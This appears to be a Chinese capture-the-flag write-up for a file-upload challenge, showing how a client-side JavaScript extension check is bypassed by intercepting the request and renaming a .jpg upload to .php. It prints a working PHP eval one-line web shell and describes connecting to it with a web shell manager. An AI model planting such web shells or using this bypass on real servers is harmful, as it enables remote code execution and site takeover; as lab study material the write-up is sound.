[CTF/网络安全] 攻防世界 upload1 解题详析

[CTF/网络安全] 攻防世界 upload1 解题详析

考察文件上传,具体原理及姿势不再赘述。

姿势

在txt中写入一句话木马<?php @eval($_POST[qiu]);?>

回显如下:

查看源代码:

复制代码
Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}
 }

这段代码的作用是检查上传文件的扩展名是否符合要求,如果是图片格式(jpg或png),则启用提交按钮,否则禁用提交按钮并弹出提示消息。

其中用到了 JavaScript 中的 Array 原型对象和条件判断语句。该代码通过扩展 Array 原型对象添加了一个名为 contains 的函数,用于判断一个对象是否在数组中,主要应用于判断上传文件的扩展名是否属于指定的图片格式,这里是 ['jpg','png']

更改文件格式为jpg

文件上传成功:

进入所在路径:

上图说明jpg文件被拦截

抓包,修改filename文件后缀为.php,重发请求包


进入所在路径:

无Error回显,说明木马上传成功。
若不清楚木马是否上传成功,可修改内容如下:

复制代码
<?php 
@eval($_POST['qiu']);
echo('qiu');
?>

若文件上传成功,则在上传路径对应的页面会输出qiu

连接蚁剑:

相关推荐
iOS开发上架哦1 小时前
charles网络抓包入门教程
网络协议·安全
Suckerbin2 小时前
pikachu靶场-敏感信息泄露
网络·学习·安全·网络安全
思通数科AI全行业智能NLP系统10 小时前
AI视频技术赋能幼儿园安全——教师离岗报警系统的智慧守护
大数据·人工智能·安全·目标检测·目标跟踪·自然语言处理·ocr
明似水11 小时前
Flutter 弹窗队列管理:支持优先级的线程安全通用弹窗队列系统
javascript·安全·flutter
CYRUS_STUDIO13 小时前
使用 Dex2C 加壳保护 Android APK 代码
android·安全·逆向
一颗星星辰13 小时前
路由交换网络专题 | 第八章 | GVRP配置 | 端口安全 | 端口隔离 | Mux-VLAN | Hybrid
网络·安全
自由鬼13 小时前
高性能的开源网络入侵检测和防御引擎:Suricata介绍
网络·安全·网络安全·开源·系统安全·入侵检测
mon_star°16 小时前
搭建基于火灾风险预测与防范的消防安全科普小程序
安全·微信小程序·小程序·微信公众平台
神经毒素17 小时前
WEB安全--RCE--webshell bypass
网络·安全·web安全
程序猿chen20 小时前
量子跃迁:Vue组件安全工程的基因重组与生态免疫(完全体终局篇)
前端·vue.js·git·安全·面试·前端框架·跳槽